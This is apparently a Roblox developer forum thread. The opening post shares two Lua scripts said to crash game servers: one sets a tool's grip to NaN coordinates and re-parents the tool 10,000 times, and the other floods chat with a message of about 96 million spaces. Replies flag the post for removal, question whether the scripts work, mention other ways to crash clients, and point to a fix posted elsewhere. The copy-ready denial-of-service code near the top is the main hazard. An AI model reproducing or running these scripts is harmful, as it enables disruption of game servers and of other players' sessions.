I found this script, I’m not smart enough to know how it works, but feel free to find out. It advertised itself as working in 90% of all servers.
local LP = game:GetService('Players').LocalPlayer
local LC = LP.Character
local LB = LP.Backpack
local Hum = LC:FindFirstChildOfClass('Humanoid')
local Tool = nil
if not Hum then
return
end
Hum:UnequipTools()
for _, v in next, LB:GetChildren() do
if v:IsA('Tool') and v:FindFirstChild('Handle') then
Tool = v
break
end
end
if not Tool then
return
end
Tool.Parent = LB
Tool.Grip = CFrame.new(0/0, 0/0, 0/0)
for i = 1, 10000 do
Tool.Parent = LC
Tool.Parent = LB
end
I also found another script which uses chat (?) to crash the server.
local v =96000000 --Maximal bit stream on client
-- (96000000 - 12) -- Maximal bit stream that server accept +-2
local msg = ""..string.rep(" ",(v - 12))
game.Players:Chat(msg)
@PolicePocholo Please Avoid posting potentially destructive exploits for any game here publicly, I have already flagged your post so that we have it removed, exploits would only find it more easily
Actually I know some other ways to crash clients (slower but still possible) by using built-in methods like dropping hats.
I don’t know why roblox does not fix these engine bugs.
I tested this now in baseplate and it kinda works. It freezed my game for 5 seconds. Because of studio permissions I could not get the function to replicate but I’m sure it probably replicates in exploit execution and if you were to loop it you may crash all clients.
I’m pretty sure it wouldn’t work, as it would just crash the game client because of too many packets being sent to the server. It could work, just don’t know.
I was going to share a script to stop it a few days ago but forgot. I released it in its own thread like I did with the old NetworkOwnership exploit.
If you’d like to view it, here’s a link
I think this is also something to do with illegal ddos, as it seems for my game players do not have to be in the server for the server to crash on it’s own.
I don’t think so … there must always be a person inside the server to at least loop the script and make it crash.
it is difficult to talk about ddos attack it would go relate to the safety of roblox.com
I think it’s kinda fixed, I didn’t see any server crash for a few days
But we still get reports from a few people keep crashing every 5 minutes. At least this time other clients don’t crash it looks like a personal problem related to device however 3-4 weeks ago everything was perfect game crashes like this were never seen until now.
Nope, I could still crash it and my friend would tell me that the server had crashed and he had left. Nothing related to the network nor ddosing the server (which would be illegal).